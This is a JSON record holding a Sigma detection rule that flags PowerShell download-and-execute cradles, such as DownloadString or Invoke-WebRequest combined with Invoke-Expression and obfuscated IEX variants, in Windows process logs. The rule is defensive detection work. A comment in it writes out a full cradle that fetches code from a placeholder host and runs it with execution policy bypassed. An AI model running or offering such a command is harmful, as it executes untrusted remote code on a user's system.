{"id":"85b0b087-eddf-4a2b-b033-d771fa2b9775","title":"PowerShell Download and Execution Cradles","description":"Detects PowerShell download and execution cradles.","author":"Florian Roth (Nextron Systems)","status":"test","level":"high","date":"2022-03-24","modified":"2025-07-18","tags":["attack.execution","attack.t1059"],"technique_ids":["T1059"],"logsource":{"product":"windows","category":"process_creation"},"falsepositives":["Some PowerShell installers were seen using similar combinations. Apply filters accordingly"],"references":["https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd","https://labs.withsecure.com/publications/fin7-target-veeam-servers"],"source_path":"rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml","source_sha256":"cc1e5ca6a2125a3271c151a7cab695f4f906a320ac1acc80324323d390d6be8c","source_url":"https://github.com/anpa1200/sigma/blob/b249e9683190cffdcaf188ccbfb90bf4759844e1/rules/windows/process_creation/proc_creation_win_powershell_download_iex.yml","license":"Detection Rule License 1.1","license_url":"https://github.com/SigmaHQ/Detection-Rule-License/blob/main/LICENSE.Detection.Rules.md","yaml":"title: PowerShell Download and Execution Cradles\nid: 85b0b087-eddf-4a2b-b033-d771fa2b9775\nstatus: test\ndescription: Detects PowerShell download and execution cradles.\nreferences:\n    - https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd\n    - https://labs.withsecure.com/publications/fin7-target-veeam-servers\nauthor: Florian Roth (Nextron Systems)\ndate: 2022-03-24\nmodified: 2025-07-18\ntags:\n    - attack.execution\n    - attack.t1059\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection_download:\n        CommandLine|contains:\n            - '.DownloadString('\n            - '.DownloadFile('\n            - 'Invoke-WebRequest '\n            - 'iwr '\n            - 'Invoke-RestMethod '\n            - 'irm '  # powershell -ep bypass -w h -c irm test.domain/ffe | iex\n    selection_iex:\n        CommandLine|contains:\n            - ';iex $'\n            - '| IEX'\n            - '|IEX '\n            - 'I`E`X'\n            - 'I`EX'\n            - 'IE`X'\n            - 'iex '\n            - 'IEX ('\n            - 'IEX('\n            - 'Invoke-Expression'\n    condition: all of selection_*\nfalsepositives:\n    - Some PowerShell installers were seen using similar combinations. Apply filters accordingly\nlevel: high\n","validation":"yaml_parsed_not_backend_compiled_or_live_validated","techniques":[{"key":"enterprise/T1059","id":"T1059","name":"Command and Scripting Interpreter","page":"techniques/enterprise/T1059/"}],"data_path":"data/detection-rules/85b0b087-eddf-4a2b-b033-d771fa2b9775.json","kind":"sigma"}